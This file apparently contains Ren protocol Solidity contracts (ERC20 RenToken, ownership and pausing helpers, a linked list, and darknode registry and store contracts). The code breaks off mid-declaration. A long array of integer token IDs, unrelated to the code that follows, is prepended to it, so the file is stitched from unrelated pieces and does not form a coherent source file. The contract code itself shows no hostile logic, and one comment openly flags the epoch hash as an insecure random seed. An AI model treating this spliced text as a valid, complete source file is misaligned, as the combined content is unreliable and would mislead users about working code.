[ 1, 16351, 2457, 20099, 1733, 353, 4393, 2279, 41, 1136, 288, 203, 203, 565, 871, 2457, 20099, 6119, 12, 2867, 364, 20099, 1769, 203, 203, 203, 565, 1731, 1578, 3238, 6835, 1085, 2310, 31, 203, 203, 565, 3885, 1435, 1071, 288, 203, 3639, 6835, 1085, 2310, 273, 417, 24410, 581, 5034, 12, 203, 5411, 618, 12, 4435, 6934, 30839, 2934, 17169, 1085, 203, 3639, 11272, 203, 565, 289, 203, 203, 565, 445, 752, 30839, 12, 11890, 5034, 389, 5759, 16, 1758, 8843, 429, 389, 2938, 13, 1071, 1135, 261, 2867, 13, 288, 203, 3639, 327, 389, 2640, 30839, 24899, 5759, 16, 1234, 18, 15330, 16, 389, 2938, 1769, 203, 565, 289, 203, 203, 565, 445, 336, 6733, 1887, 12, 11890, 5034, 389, 5759, 16, 1758, 389, 15330, 13, 1071, 1476, 1135, 261, 2867, 13, 288, 203, 3639, 1731, 1578, 4286, 273, 389, 588, 19290, 24899, 5759, 16, 389, 15330, 1769, 203, 3639, 1731, 1578, 1831, 1887, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 4420, 329, 12, 203, 7734, 1731, 21, 12, 20, 5297, 3631, 203, 7734, 1758, 12, 2211, 3631, 203, 7734, 4286, 16, 203, 7734, 6835, 1085, 2310, 203, 3639, 262, 203, 3639, 11272, 203, 203, 3639, 327, 1758, 12, 3890, 3462, 12, 1899, 1887, 2296, 19332, 10019, 203, 565, 289, 203, 203, 565, 445, 389, 2640, 30839, 12, 11890, 5034, 389, 5759, 16, 1758, 389, 15330, 16, 1758, 8843, 429, 389, 2938, 13, 2713, 1135, 261, 2867, 13, 288, 203, 3639, 10188, 6934, 30839, 364, 20099, 273, 389, 12411, 2 ]
pragma solidity ^0.5.8; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } /** * @title Math * @dev Assorted math operations */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Calculates the average of two numbers. Since these are integers, * averages of an even and odd number cannot be represented, and will be * rounded down. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /// @notice Implements safeTransfer, safeTransferFrom and /// safeApprove for CompatibleERC20. /// /// See https://github.com/ethereum/solidity/issues/4116 /// /// This library allows interacting with ERC20 tokens that implement any of /// these interfaces: /// /// (1) transfer returns true on success, false on failure /// (2) transfer returns true on success, reverts on failure /// (3) transfer returns nothing on success, reverts on failure /// /// Additionally, safeTransferFromWithFees will return the final token /// value received after accounting for token fees. library CompatibleERC20Functions { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /// @notice Calls transferFrom on the token, reverts if the call fails and /// returns the value transferred after fees. function safeTransferFromWithFees(IERC20 token, address from, address to, uint256 value) internal returns (uint256) { uint256 balancesBefore = token.balanceOf(to); callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); require(previousReturnValue(), "transferFrom failed"); uint256 balancesAfter = token.balanceOf(to); return Math.min(value, balancesAfter.sub(balancesBefore)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require((value == 0) || (token.allowance(address(this), spender) == 0)); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must equal true). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. require(address(token).isContract()); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool))); } } /// @notice Checks the return value of the previous function. Returns true /// if the previous function returned 32 non-zero bytes or returned zero /// bytes. function previousReturnValue() private pure returns (bool) { uint256 returnData = 0; assembly { /* solium-disable-line security/no-inline-assembly */ // Switch on the number of bytes returned by the previous call switch returndatasize // 0 bytes: ERC20 of type (3), did not throw case 0 { returnData := 1 } // 32 bytes: ERC20 of types (1) or (2) case 32 { // Copy the return data into scratch space returndatacopy(0, 0, 32) // Load the return data into returnData returnData := mload(0) } // Other return size: return false default { } } return returnData != 0; } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } /** * @title Pausable token * @dev ERC20 modified with pausable transfers. */ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract RenToken is Ownable, ERC20Detailed, ERC20Pausable, ERC20Burnable { string private constant _name = "Republic Token"; string private constant _symbol = "REN"; uint8 private constant _decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * 10**uint256(_decimals); /// @notice The RenToken Constructor. constructor() ERC20Burnable() ERC20Pausable() ERC20Detailed(_name, _symbol, _decimals) public { _mint(msg.sender, INITIAL_SUPPLY); } function transferTokens(address beneficiary, uint256 amount) public onlyOwner returns (bool) { /* solium-disable error-reason */ require(amount > 0); _transfer(msg.sender, beneficiary, amount); emit Transfer(msg.sender, beneficiary, amount); return true; } } /// @notice DarknodeSlasher will become a voting system for darknodes to /// deregister other misbehaving darknodes. /// Right now, it is a placeholder. contract DarknodeSlasher is Ownable { DarknodeRegistry public darknodeRegistry; constructor(DarknodeRegistry _darknodeRegistry) public { darknodeRegistry = _darknodeRegistry; } function slash(address _prover, address _challenger1, address _challenger2) external onlyOwner { darknodeRegistry.slash(_prover, _challenger1, _challenger2); } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable { address private _pendingOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == _pendingOwner); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { _pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(_owner, _pendingOwner); _owner = _pendingOwner; _pendingOwner = address(0); } } /** * @notice LinkedList is a library for a circular double linked list. */ library LinkedList { /* * @notice A permanent NULL node (0x0) in the circular double linked list. * NULL.next is the head, and NULL.previous is the tail. */ address public constant NULL = address(0); /** * @notice A node points to the node before it, and the node after it. If * node.previous = NULL, then the node is the head of the list. If * node.next = NULL, then the node is the tail of the list. */ struct Node { bool inList; address previous; address next; } /** * @notice LinkedList uses a mapping from address to nodes. Each address * uniquely identifies a node, and in this way they are used like pointers. */ struct List { mapping (address => Node) list; } /** * @notice Insert a new node before an existing node. * * @param self The list being used. * @param target The existing node in the list. * @param newNode The next node to insert before the target. */ function insertBefore(List storage self, address target, address newNode) internal { require(!isInList(self, newNode), "already in list"); require(isInList(self, target) || target == NULL, "not in list"); // It is expected that this value is sometimes NULL. address prev = self.list[target].previous; self.list[newNode].next = target; self.list[newNode].previous = prev; self.list[target].previous = newNode; self.list[prev].next = newNode; self.list[newNode].inList = true; } /** * @notice Insert a new node after an existing node. * * @param self The list being used. * @param target The existing node in the list. * @param newNode The next node to insert after the target. */ function insertAfter(List storage self, address target, address newNode) internal { require(!isInList(self, newNode), "already in list"); require(isInList(self, target) || target == NULL, "not in list"); // It is expected that this value is sometimes NULL. address n = self.list[target].next; self.list[newNode].previous = target; self.list[newNode].next = n; self.list[target].next = newNode; self.list[n].previous = newNode; self.list[newNode].inList = true; } /** * @notice Remove a node from the list, and fix the previous and next * pointers that are pointing to the removed node. Removing anode that is not * in the list will do nothing. * * @param self The list being using. * @param node The node in the list to be removed. */ function remove(List storage self, address node) internal { require(isInList(self, node), "not in list"); if (node == NULL) { return; } address p = self.list[node].previous; address n = self.list[node].next; self.list[p].next = n; self.list[n].previous = p; // Deleting the node should set this value to false, but we set it here for // explicitness. self.list[node].inList = false; delete self.list[node]; } /** * @notice Insert a node at the beginning of the list. * * @param self The list being used. * @param node The node to insert at the beginning of the list. */ function prepend(List storage self, address node) internal { // isInList(node) is checked in insertBefore insertBefore(self, begin(self), node); } /** * @notice Insert a node at the end of the list. * * @param self The list being used. * @param node The node to insert at the end of the list. */ function append(List storage self, address node) internal { // isInList(node) is checked in insertBefore insertAfter(self, end(self), node); } function swap(List storage self, address left, address right) internal { // isInList(left) and isInList(right) are checked in remove address previousRight = self.list[right].previous; remove(self, right); insertAfter(self, left, right); remove(self, left); insertAfter(self, previousRight, left); } function isInList(List storage self, address node) internal view returns (bool) { return self.list[node].inList; } /** * @notice Get the node at the beginning of a double linked list. * * @param self The list being used. * * @return A address identifying the node at the beginning of the double * linked list. */ function begin(List storage self) internal view returns (address) { return self.list[NULL].next; } /** * @notice Get the node at the end of a double linked list. * * @param self The list being used. * * @return A address identifying the node at the end of the double linked * list. */ function end(List storage self) internal view returns (address) { return self.list[NULL].previous; } function next(List storage self, address node) internal view returns (address) { require(isInList(self, node), "not in list"); return self.list[node].next; } function previous(List storage self, address node) internal view returns (address) { require(isInList(self, node), "not in list"); return self.list[node].previous; } } /// @notice This contract stores data and funds for the DarknodeRegistry /// contract. The data / fund logic and storage have been separated to improve /// upgradability. contract DarknodeRegistryStore is Claimable { using SafeMath for uint256; string public VERSION; // Passed in as a constructor parameter. /// @notice Darknodes are stored in the darknode struct. The owner is the /// address that registered the darknode, the bond is the amount of REN that /// was transferred during registration, and the public key is the /// encryption key that should be used when sending sensitive information to /// the darknode. struct Darknode { // The owner of a Darknode is the address that called the register // function. The owner is the only address that is allowed to // deregister the Darknode, unless the Darknode is slashed for // malicious behavior. address payable owner; // The bond is the amount of REN submitted as a bond by the Darknode. // This amount is reduced when the Darknode is slashed for malicious // behavior. uint256 bond; // The block number at which the Darknode is considered registered. uint256 registeredAt; // The block number at which the Darknode is considered deregistered. uint256 deregisteredAt; // The public key used by this Darknode for encrypting sensitive data // off chain. It is assumed that the Darknode has access to the // respective private key, and that there is an agreement on the format // of the public key. bytes publicKey; } /// Registry data. mapping(address => Darknode) private darknodeRegistry; LinkedList.List private darknodes; // RenToken. RenToken public ren; /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. /// @param _ren The address of the RenToken contract. constructor( string memory _VERSION, RenToken _ren ) public { VERSION = _VERSION; ren = _ren; } /// @notice Instantiates a darknode and appends it to the darknodes /// linked-list. /// /// @param _darknodeID The darknode's ID. /// @param _darknodeOwner The darknode's owner's address /// @param _bond The darknode's bond value /// @param _publicKey The darknode's public key /// @param _registeredAt The time stamp when the darknode is registered. /// @param _deregisteredAt The time stamp when the darknode is deregistered. function appendDarknode( address _darknodeID, address payable _darknodeOwner, uint256 _bond, bytes calldata _publicKey, uint256 _registeredAt, uint256 _deregisteredAt ) external onlyOwner { Darknode memory darknode = Darknode({ owner: _darknodeOwner, bond: _bond, publicKey: _publicKey, registeredAt: _registeredAt, deregisteredAt: _deregisteredAt }); darknodeRegistry[_darknodeID] = darknode; LinkedList.append(darknodes, _darknodeID); } /// @notice Returns the address of the first darknode in the store function begin() external view onlyOwner returns(address) { return LinkedList.begin(darknodes); } /// @notice Returns the address of the next darknode in the store after the /// given address. function next(address darknodeID) external view onlyOwner returns(address) { return LinkedList.next(darknodes, darknodeID); } /// @notice Removes a darknode from the store and transfers its bond to the /// owner of this contract. function removeDarknode(address darknodeID) external onlyOwner { uint256 bond = darknodeRegistry[darknodeID].bond; delete darknodeRegistry[darknodeID]; LinkedList.remove(darknodes, darknodeID); require(ren.transfer(owner(), bond), "bond transfer failed"); } /// @notice Updates the bond of a darknode. The new bond must be smaller /// than the previous bond of the darknode. function updateDarknodeBond(address darknodeID, uint256 decreasedBond) external onlyOwner { uint256 previousBond = darknodeRegistry[darknodeID].bond; require(decreasedBond < previousBond, "bond not decreased"); darknodeRegistry[darknodeID].bond = decreasedBond; require(ren.transfer(owner(), previousBond.sub(decreasedBond)), "bond transfer failed"); } /// @notice Updates the deregistration timestamp of a darknode. function updateDarknodeDeregisteredAt(address darknodeID, uint256 deregisteredAt) external onlyOwner { darknodeRegistry[darknodeID].deregisteredAt = deregisteredAt; } /// @notice Returns the owner of a given darknode. function darknodeOwner(address darknodeID) external view onlyOwner returns (address payable) { return darknodeRegistry[darknodeID].owner; } /// @notice Returns the bond of a given darknode. function darknodeBond(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].bond; } /// @notice Returns the registration time of a given darknode. function darknodeRegisteredAt(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].registeredAt; } /// @notice Returns the deregistration time of a given darknode. function darknodeDeregisteredAt(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].deregisteredAt; } /// @notice Returns the encryption public key of a given darknode. function darknodePublicKey(address darknodeID) external view onlyOwner returns (bytes memory) { return darknodeRegistry[darknodeID].publicKey; } } /// @notice DarknodeRegistry is responsible for the registration and /// deregistration of Darknodes. contract DarknodeRegistry is Ownable { using SafeMath for uint256; string public VERSION; // Passed in as a constructor parameter. /// @notice Darknode pods are shuffled after a fixed number of blocks. /// An Epoch stores an epoch hash used as an (insecure) RNG seed, and the /// blocknumber which restricts when the next epoch can be called. struct Epoch { uint256 epochhash; uint256 blocknumber; } uint256 public numDarknodes; uint256 public numDarknodesNextEpoch; uint256 public numDarknodesPreviousEpoch; /// Variables used to parameterize behavior. uint256 public minimumBond; uint256 public minimumPodSize; uint256 public minimumEpochInterval; /// When one of the above variables is modified, it is only updated when the /// next epoch is called. These variables store the values for the next epoch. uint256 public nextMinimumBond; uint256 public nextMinimumPodSize; uint256 public nextMinimumEpochInterval; /// The current and previous epoch Epoch public currentEpoch; Epoch public previousEpoch; /// Republic ERC20 token contract used to transfer bonds. RenToken public ren; /// Darknode Registry Store is the storage contract for darknodes. DarknodeRegistryStore public store; /// Darknode Slasher allows darknodes to vote on bond slashing. DarknodeSlasher public slasher; DarknodeSlasher public nextSlasher; /// @notice Emitted when a darknode is registered. /// @param _darknodeID The darknode ID that was registered. /// @param _bond The amount of REN that was transferred as bond. event LogDarknodeRegistered(address indexed _darknodeID, uint256 _bond); /// @notice Emitted when a darknode is deregistered. /// @param _darknodeID The darknode ID that was deregistered. event LogDarknodeDeregistered(address indexed _darknodeID); /// @notice Emitted when a refund has been made. /// @param _owner The address that was refunded. /// @param _amount The amount of REN that was refunded. event LogDarknodeOwnerRefunded(address indexed _owner, uint256 _amount); /// @notice Emitted when a new epoch has begun. event LogNewEpoch(uint256 indexed epochhash); /// @notice Emitted when a constructor parameter has been updated. event LogMinimumBondUpdated(uint256 previousMinimumBond, uint256 nextMinimumBond); event LogMinimumPodSizeUpdated(uint256 previousMinimumPodSize, uint256 nextMinimumPodSize); event LogMinimumEpochIntervalUpdated(uint256 previousMinimumEpochInterval, uint256 nextMinimumEpochInterval); event LogSlasherUpdated(address previousSlasher, address nextSlasher); /// @notice Only allow the owner that registered the darknode to pass. modifier onlyDarknodeOwner(address _darknodeID) { require(store.darknodeOwner(_darknodeID) == msg.sender, "must be darknode owner"); _; } /// @notice Only allow unregistered darknodes. modifier onlyRefunded(address _darknodeID) { require(isRefunded(_darknodeID), "must be refunded or never registered"); _; } /// @notice Only allow refundable darknodes. modifier onlyRefundable(address _darknodeID) { require(isRefundable(_darknodeID), "must be deregistered for at least one epoch"); _; } /// @notice Only allowed registered nodes without a pending deregistration to /// deregister modifier onlyDeregisterable(address _darknodeID) { require(isDeregisterable(_darknodeID), "must be deregisterable"); _; } /// @notice Only allow the Slasher contract. modifier onlySlasher() { require(address(slasher) == msg.sender, "must be slasher"); _; } /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. /// @param _renAddress The address of the RenToken contract. /// @param _storeAddress The address of the DarknodeRegistryStore contract. /// @param _minimumBond The minimum bond amount that can be submitted by a /// Darknode. /// @param _minimumPodSize The minimum size of a Darknode pod. /// @param _minimumEpochInterval The minimum number of blocks between /// epochs. constructor( string memory _VERSION, RenToken _renAddress, DarknodeRegistryStore _storeAddress, uint256 _minimumBond, uint256 _minimumPodSize, uint256 _minimumEpochInterval ) public { VERSION = _VERSION; store = _storeAddress; ren = _renAddress; minimumBond = _minimumBond; nextMinimumBond = minimumBond; minimumPodSize = _minimumPodSize; nextMinimumPodSize = minimumPodSize; minimumEpochInterval = _minimumEpochInterval; nextMinimumEpochInterval = minimumEpochInterval; currentEpoch = Epoch({ epochhash: uint256(blockhash(block.number - 1)), blocknumber: block.number }); numDarknodes = 0; numDarknodesNextEpoch = 0; numDarknodesPreviousEpoch = 0; } /// @notice Register a darknode and transfer the bond to this contract. /// Before registering, the bond transfer must be approved in the REN /// contract. The caller must provide a public encryption key for the /// darknode. The darknode will remain pending registration until the next /// epoch. Only after this period can the darknode be deregistered. The /// caller of this method will be stored as the owner of the darknode. /// /// @param _darknodeID The darknode ID that will be registered. /// @param _publicKey The public key of the darknode. It is stored to allow /// other darknodes and traders to encrypt messages to the trader. function register(address _darknodeID, bytes 